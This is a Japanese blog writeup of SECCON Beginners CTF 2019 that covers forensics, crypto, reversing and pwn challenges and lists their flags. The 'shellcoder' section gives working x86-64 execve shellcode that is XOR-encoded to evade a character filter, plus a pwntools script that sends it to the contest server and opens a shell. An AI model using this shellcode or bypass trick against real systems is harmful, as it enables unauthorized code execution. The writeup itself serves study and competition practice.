Shi0shishi0

汐鹿生

SECCON Beginners CTF 2019 - Writeup

はじめに

SECCON Beginners CTF 2019に参加しました。いつもと違うチームで参加して、2617 pointsを獲得しました。あまり時間取れなかったですが面白かったです。

Misc

containers

与えられたファイルをバイナリエディタで開いてみると、PNGファイルが沢山くっついている感じのファイルだった。

binwalkでPNGファイルを切り出した。

hamasho333@hamasho333-virtual-machine:~$ binwalk --dd='png image:png' e35860e49ca3fa367e456207ebc9ff2f_containers

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
16            0x10            PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced
107           0x6B            Zlib compressed data, compressed
738           0x2E2           PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced
829           0x33D           Zlib compressed data, compressed
1334          0x536           PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced
1425          0x591           Zlib compressed data, compressed
1914          0x77A           PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced
2005          0x7D5           Zlib compressed data, compressed
2856          0xB28           PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced
(中略)
27690         0x6C2A          Zlib compressed data, compressed
28504         0x6F58          PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced
28595         0x6FB3          Zlib compressed data, compressed
29085         0x719D          PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced
29176         0x71F8          Zlib compressed data, compressed
29808         0x7470          PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced
29899         0x74CB          Zlib compressed data, compressed
30844         0x787C          PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced
30935         0x78D7          Zlib compressed data, compressed
31524         0x7B24          PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced
31615         0x7B7F          Zlib compressed data, compressed

PNGファイルにはアルファベットや数字が1文字ずつ書かれている。これを埋め込まれていたアドレス順に並べ替えると以下のようになった。

f:id:echoha610:20190526230855p:plain

また、画像ファイルの末尾にPythonスクリプトが含まれており、その中で何らかのSHA-1ハッシュ値の比較処理が行われていた。得られたFLAGのSHA-1ハッシュ値を取ってみるとPythonスクリプトに含まれていたハッシュ値と一致していた。

FLAG : ctf4b{e52df60c058746a66e4ac4f34db6fc81}

Crypto

So Tired

Base64エンコードとzlib圧縮を沢山繰り返したっぽいデータが与えられるので、逆の処理を行う。Pythonスクリプトを書いた。

FLAG : ctf4b{very_l0ng_l0ng_BASE64_3nc0ding}

Reversing

seccompare

x86-64のELFファイルが与えられる。stackstringsとしてFLAGがハードコードされている。

FLAG : ctf4b{5tr1ngs_1s_n0t_en0ugh}

leakage

x86-64のELFファイルが与えられる。頭が悪いのでconvert関数実行後の比較処理の所を眺めて1文字ずつFLAGを確認した。

他の方のWriteUpを見ると、angrで行けたらしい。

FLAG : ctf4b{le4k1ng_th3_f1ag_0ne_by_0ne}

linear_operation

x86-64のELFファイルが与えられる。IDA Proで開くとIDA Graphが大変な感じになっている。

angrでSolverを書いて解いた。

hamasho333@hamasho333-virtual-machine:~$ python solver_linear_operation.py 
WARNING | 2019-05-25 16:29:04,776 | angr.analyses.disassembly_utils | Your version of capstone does not support MIPS instruction groups.
WARNING | 2019-05-25 16:29:04,823 | angr.factory | factory.path_group() is deprecated! Please use factory.simulation_manager() instead.
'ctf4b{5ymbol1c_3xecuti0n_1s_3ffect1ve_4ga1nst_l1n34r_0p3r4ti0n}'

FLAG : ctf4b{5ymbol1c_3xecuti0n_1s_3ffect1ve_4ga1nst_l1n34r_0p3r4ti0n}

SecconPass

面倒臭そうだったので後回しにしてたらそのまま未着手で終わった。あとで見ます。

エンコードされていたFLAG文字列をXOR処理する感じだったっぽい。

Pwnable

shellcoder

x86-64のELFファイルが与えられる。標準入力から受け取った文字列を命令として実行するっぽい。シェルコードを喰わせれば良い?

ただし、入力値に "b" "i" "n" "s" "h" の文字列が含まれている場合、"Payload contains invalid character!!" というメッセージを出力してプログラムが終了してしまう。

適当な方法で "/bin/sh" をエンコードしてシェルコードを作るのが良さそう。

以下のページに載っているx86-64環境用のシェルコードに手を加えて使った。

www.exploit-db.com

=====================
; objdump -d ./shellcode
shellcode:     file format elf64-x86-64
Disassembly of section .text:
0000000000400080 <_start>:
  400080: 48 31 ff             xor    %rdi,%rdi
  400083: 48 31 f6             xor    %rsi,%rsi
  400086: 48 31 d2             xor    %rdx,%rdx
  400089: 48 31 c0             xor    %rax,%rax
  40008c: 50                   push   %rax
  40008d: 48 bb 2f 62 69 6e 2f movabs $0x68732f2f6e69622f,%rbx
  400094: 2f 73 68
  400097: 53                   push   %rbx
  400098: 48 89 e7             mov    %rsp,%rdi
  40009b: b0 3b                mov    $0x3b,%al
  40009d: 0f 05                syscall 
=====================

上のシェルコードに対して、syscallの引数に使う文字列 "/bin//sh" を事前に0xFFでXORしたものを用意して、それを0xFFでXORしてデコードする処理を挟んだ。

作成したシェルコードは以下の通り。

48 31 ff             xor    rdi, rdi
48 31 f6             xor    rsi, rsi
48 31 d2             xor    rdx, rdx
48 31 c0             xor    rax, rax
50                   push   rax
48 bb d0 9d 96 91 d0 movabs rbx, 0x978cd0d091969dd0
d0 8c 97
48 83 f3 ff          xor rbx, 0xFFFFFFFFFFFFFFFF
53                   push   rbx
48 89 e7             mov    rdi, rsp
b0 3b                mov    al, 0x3b
0f 05                syscall

シェルコードの作成にはpwntoolsを使った。楽チン。

>>> from pwn import *
>>> context(os="linux", arch="amd64")
>>> print repr(asm('movabs rbx, 0x978cd0d091969dd0'))
'H\xbb\xd0\x9d\x96\x91\xd0\xd0\x8c\x97'
>>> print repr(asm('xor rbx, 0xFFFFFFFFFFFFFFFF'))
'H\x83\xf3\xff'

シェルコードをpayloadとして、以下のようなSolverを書いた。

from pwn import *
import binascii

context(os="linux", arch="amd64")

def main():
    #conn = process("./shellcoder")
    conn = remote("153.120.129.186", 20000)
    conn.recvuntil("Are you shellcoder?")
    payload = "\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\xd0\x9d\x96\x91\xd0\xd0\x8c\x97\x48\x83\xf3\xff\x53\x48\x89\xe7\xb0\x3b\x0f\x05"
    conn.send(payload)
    conn.interactive()

if __name__ == "__main__":
    main()

FLAGは ctf4b{Byp4ss_us!ng6_X0R_3nc0de} だった。FLAGの内容を見る限り、XORを使うのは想定解っぽい。

hamasho333@hamasho333-virtual-machine:~$ python solver_shellcoder.py 
[+] Opening connection to 153.120.129.186 on port 20000: Done
[*] Switching to interactive mode

$ ls
flag.txt
shellcoder
$ cat flag.txt
ctf4b{Byp4ss_us!ng6_X0R_3nc0de}
[*] Got EOF while reading in interactive

FLAG : ctf4b{Byp4ss_us!ng6_X0R_3nc0de}

OneLine

解けなかった。x86-64のELFファイルが与えられる。

実行すると以下のように2回入力を受け付ける。また、2つ目のメッセージの先頭に変な文字列がくっついている。

この文字列は毎回変化しているっぽい。

hamasho333@hamasho333-virtual-machine:~/ida_server$ ./oneline 
You can input text here!
>> a
a
@q�a�Once more again!
>> a
a

確認すると、これはwrite関数のアドレスだった。このアドレスを使って、ロードされているlibcのアドレス、systemのアドレス等が得られそう。

また、main関数の中には2つのcall raxが存在しており、2つ目のcall raxで任意のアドレスを実行できそうだった。

ここでsystemを実行すれば良いのかな~と思ったが、rdiの値は0x01になっており、引数を書き換えられ無さそうだった。

この後色々考えてみたが分からなかった。他の方のWriteupを見ると、One-gadgetというものを使えば良かったらしい。

(harekazeさんの外部Wiki?にOne-gadgetの説明があった。シェルの取り方も色々あるんですね。)

harekaze.com

Pwnの勉強をしたいなあというお気持ちになったので今年は頑張ります。